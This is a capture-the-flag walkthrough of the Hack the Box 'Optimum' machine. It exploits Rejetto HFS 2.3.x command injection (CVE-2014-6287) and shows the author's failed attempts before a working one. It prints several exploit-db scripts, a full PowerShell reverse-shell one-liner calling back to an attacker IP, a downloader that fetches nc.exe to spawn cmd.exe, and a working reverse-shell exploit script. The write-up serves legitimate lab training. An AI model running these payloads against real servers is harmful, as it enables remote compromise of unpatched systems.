Website

The website is an old looking file server:

![[Pasted image 20210613111026.png]]

I ran a [[Writeups/Hack the Box/Boxes/Optimum/05 - Enumeration#Gobuster|gobuster scan]] in the background while I poked around.

Trying HFS Exploits

I tried a few different exploits here. As always I'll include the failed attempts so you can see the debugging process, but you can [[Writeups/Hack the Box/Boxes/Optimum/10 - Website#Working HFS Exploit|skip to the right one]].

My first thought was to try and see if I could upload a file or exploit a CVE, so I ran `searchsploit`. It had one result:

```
┌──(mac㉿kali)-[~/Documents/HTB/optimum]
└─$ searchsploit httpfileserver
```

```
---------------------------------------------------------------------------------
 Exploit Title
---------------------------------------------------------------------------------
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
---------------------------------------------------------------------------------
Shellcodes: No Results
Papers: No Results
```

The exploit is really short:

```
# Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 28-11-2020
# Remote: Yes
# Exploit Author: Óscar Andreu
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

#!/usr/bin/python3

# Usage :  python3 Exploit.py <RHOST> <Target RPORT> <Command>
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:\windows\SysNative

import urllib3
import sys
import urllib.parse

try:
        http = urllib3.PoolManager()
        url = f'http://{sys.argv[1]}:{sys.argv[2]}/?search=%00{{.+exec|{urllib.par
        print(url)
        response = http.request('GET', url)

except Exception as ex:
        print("Usage: python3 HttpFileServer_2.3.x_rce.py RHOST RPORT command")
        print(ex)
```

Running it ouputs a URL. It seems to be a null-byte vulnerability in the search field

```
┌──(mac㉿kali)-[~/Documents/HTB/optimum]
└─$ searchsploit -m windows/webapps/49125.py
Copied to: /home/mac/Documents/HTB/optimum/49125.py
┌──(mac㉿kali)-[~/Documents/HTB/optimum]
└─$ mv 49125.py HttpFileServerRCE.py
┌──(mac㉿kali)-[~/Documents/HTB/optimum]
└─$ python3 HttpFileServerRCE.py 10.10.10.8 80 whoami
http://10.10.10.8:80/?search=%00{.+exec|whoami.}
```

Visiting the URL doesn't output the result anywhere: ![[Pasted image 20210613111557.png]]

We might have to jump straight to a powershell reverse shell. If we knew the directory of the webserver we could do a staged payload (it might be `c:\inetpub\wwwroot` but we can't know for sure, and it doesn't seem to be IIS)

I tried this to try and get a shell:

```
10.10.10.8/?search=%00{.+exec|powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.16.211',413);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()".}
```

But no result. I checked if I could connect out to my box, but this also didn't work:

```
10.10.10.8/?search=%00{.+exec|ping -n 1 10.10.16.211.}
```

An alternate searchsploit term yielded more reuslts:

```
┌──(mac㉿kali)-[~/Documents/HTB/optimum]
└─$ searchsploit hfs
----------------------------------------------------------------------------------
 Exploit Title
----------------------------------------------------------------------------------
Apple Mac OSX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service
Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)
Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure
Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation
FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution
```

```
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)
Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)
Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution
---------------------------------------------------------------------------
Shellcodes: No Results
Papers: No Results
```

I found this article useful for discerning which of these might be along the right path: https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/initial-access/t1190-exploit-public-facing-applications/rejetto-http-file-server-hfs-2.3

I tried one of the alternative exploits:

![[Pasted image 20210613113210.png]]

But I wasn't getting anything on any of my listeners:

![[Pasted image 20210613112857.png]]

![[Pasted image 20210613112915.png]]

![[Pasted image 20210613113227.png]]

Then I tried exploit number three: https://www.exploit-db.com/exploits/39161

```
#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#              It's different from classic file sharing because it uses web techno
```

```
#              It also differs from classic web servers because it's very easy to

#Usage : python Exploit.py <Target IP address> <Target Port Number>

#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>
#          You may need to run it multiple times for success!


import urllib2
import sys

try:
        def script_create():
                urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%0

        def execute_script():
                urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%0

        def nc_run():
                urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%0

        ip_addr = "192.168.44.128" #local IP address
        local_port = "443" # Local Port number
        vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20crea
        save= "save|" + vbs
        vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
        exe= "exec|"+vbs2
        vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+lo
        exe1= "exec|"+vbs3
        script_create()
        execute_script()
        nc_run()
except:
        print """[.]Something went wrong..!
        Usage is :[.] python exploit.py <Target IP address>  <Target Port Number>
        Don't forgot to change the Local IP address and Port number on the script"
```

This looked more promising as it had an actual payload. I changed the IP and port, and ran it.

```
┌──(mac㉿kali)-[~/Documents/HTB/optimum]
└─$ python2 39161.py 10.10.10.8 80
```

I didn't immediately get a hit.

Looking at my other listener, it now had some ICMP requests in it:

![[Pasted image 20210613113907.png]]

This is strange - I guess they took a while to come through. But it means we did have code execution when we tried earlier - just no shell.

After a wait, the `39161.py` exploit also eventually executed, requesting the `nc.exe` file:

![[Pasted image 20210613115437.png]]

I'd already moved onto the next exploit when I noticed this, but I would eventually [[15 - Shell as kostas#Getting a Better Shell|fix it]] in the final stage of priv esc.

I should have been a little more patient and then I may have been able to debug that I needed to host `nc.exe`, but the next exploit I tried was much easier to read and understand anyway.

Working HFS Exploit

I tried another: https://www.exploit-db.com/exploits/49584

```
# Exploit Title: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 20/02/2021
# Exploit Author: Pergyz
# Vendor Homepage: http://www.rejetto.com/hfs/
# Software Link: https://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Microsoft Windows Server 2012 R2 Standard
# CVE : CVE-2014-6287
# Reference: https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands

#!/usr/bin/python3

import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.16.211"
lport = 413
rhost = "10.10.10.8"
rport = 80
```

```
# Define the command to be written to a file
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); 

# Encode the command in base64 format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("\nEncoded the command in base64 format...")

# Define the payload to be included in the URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -N

# Encode the payload and send a HTTP GET request
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("\nEncoded the payload and sent a HTTP GET request to the target...")

# Print some information
print("\nPrinting some information for debugging...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# Listen for connections
print("\nListening for connection...")
os.system(f'nc -nlvp {lport}')
```

It seems this one starts a listener for us. I had to run it with root permissions to get it to bind to port 413 - but then I got a shell!

![[Pasted image 20210613114847.png]]

And grabbed `user.txt.txt`:

![[Pasted image 20210613115128.png]]